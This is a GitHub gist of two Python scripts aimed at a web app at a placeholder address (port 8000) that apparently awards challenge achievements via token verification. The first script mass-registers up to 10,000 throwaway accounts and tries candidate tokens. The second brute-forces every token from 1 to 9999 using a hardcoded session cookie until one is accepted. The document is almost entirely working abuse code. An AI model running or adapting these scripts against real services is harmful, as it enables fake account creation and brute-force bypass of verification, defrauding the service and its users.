Created
October 20, 2019 01:17
-
-
Save ronivaldo/f30567a67d1a0da29e74b7d7bc3ef515 to your computer and use it in GitHub Desktop.
create_users_and_valid_tokens
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
def criar_contas(numero): | |
cookies = { | |
} | |
headers = { | |
'Connection': 'keep-alive', | |
'Cache-Control': 'max-age=0', | |
'Origin': 'http://IP:8000', | |
'Upgrade-Insecure-Requests': '1', | |
'Content-Type': 'application/x-www-form-urlencoded', | |
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36', | |
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', | |
'Referer': 'http://IP:8000/', | |
'Accept-Encoding': 'gzip, deflate', | |
'Accept-Language': 'pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7,es;q=0.6,mt;q=0.5,fr;q=0.4', | |
} | |
data = { | |
'name': 'Meu nome eu nao sei', | |
'email': 'email{}@email.com'.format(numero), | |
'password': '12345678' | |
} | |
session = requests.Session() | |
response = session.post('http://IP:8000/player/create', headers=headers, cookies=cookies, data=data, verify=False) | |
#print(response.status_code) | |
#print(response.headers) | |
#print(response.text) | |
data = { | |
'email': 'email{}@email.com'.format(numero), | |
'password': '12345678' | |
} | |
response = session.post('http://IP:8000/login', data=data, verify=False) | |
#print(response.status_code) | |
#print(response.headers) | |
#print(response.text) | |
for i, token in enumerate([100,237,300,400,500,600]): | |
print('{}={}'.format(i+1, token)) | |
params = ( | |
('token', token), | |
('device_id', i+1), | |
) | |
response = session.get('http://IP:8000/token/verify', headers=headers, params=params, cookies=cookies, verify=False) | |
#print(response.status_code) | |
#print(response.headers) | |
print(response.text) | |
for i in range(10000): | |
criar_contas(i) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from random import randint | |
# https://curl.trillworks.com/ | |
# http://IP:8000/challenges/view?id=1 | |
INVALIDO = '[{"status":"0","msg":"Token inválido!"}]' | |
SUCESSO = '[{"status":"1","msg":"O registro de conquista do desafio foi criado com sucesso!"}]' | |
data = { | |
'email': '[email protected]', | |
'password': '12345678' | |
} | |
def logar(email, password): | |
cookies = { | |
} | |
headers = { | |
'Connection': 'keep-alive', | |
'Cache-Control': 'max-age=0', | |
'Origin': 'http://IP:8000', | |
'Upgrade-Insecure-Requests': '1', | |
'Content-Type': 'application/x-www-form-urlencoded', | |
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36', | |
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', | |
'Referer': 'http://IP:8000/login', | |
'Accept-Encoding': 'gzip, deflate', | |
'Accept-Language': 'pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7,es;q=0.6,mt;q=0.5,fr;q=0.4', | |
} | |
data = { | |
'email': '[email protected]', | |
'password': '12345678' | |
} | |
response = requests.post('http://IP:8000/login', headers=headers, cookies=cookies, data=data, verify=False) | |
def send(token): | |
cookies = { | |
'connect.sid': 's%3AZ1dTDIcC7MI6SeYD9L9bCFk3i-UrultC.Pr3HoYQ5HrBK1HAxVuMNSWydfjqrOjGjt1Ne1iH3XNE', | |
} | |
headers = { | |
'Accept-Encoding': 'gzip, deflate', | |
'Accept-Language': 'pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7,es;q=0.6,mt;q=0.5,fr;q=0.4', | |
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36', | |
'Accept': '*/*', | |
'Referer': 'http://IP:8000/challenges/view?id=1', | |
'X-Requested-With': 'XMLHttpRequest', | |
'Connection': 'keep-alive', | |
} | |
if token < 10: | |
token = '00{}'.format(token) | |
elif token < 100: | |
token = '0{}'.format(token) | |
params = ( | |
('token', token), | |
('device_id', '3'), | |
) | |
response = requests.get('http://IP:8000/token/verify', headers=headers, params=params, cookies=cookies, verify=False) | |
#NB. Original query string below. It seems impossible to parse and | |
#reproduce query strings 100% accurately so the one below is given | |
#in case the reproduced version is not "correct". | |
# response = requests.get('http://IP:8000/token/verify?token=237&device_id=1', headers=headers, cookies=cookies, verify=False) | |
return response | |
for i in range(1, 10000): | |
r = send(i) | |
print(r.text) | |
if 'deslogado' in r.text: | |
break | |
if 'inválido' in r.text: | |
print('{}=invalido'.format(i)) | |
else: | |
print('{}=VALIDO'.format(i)) | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment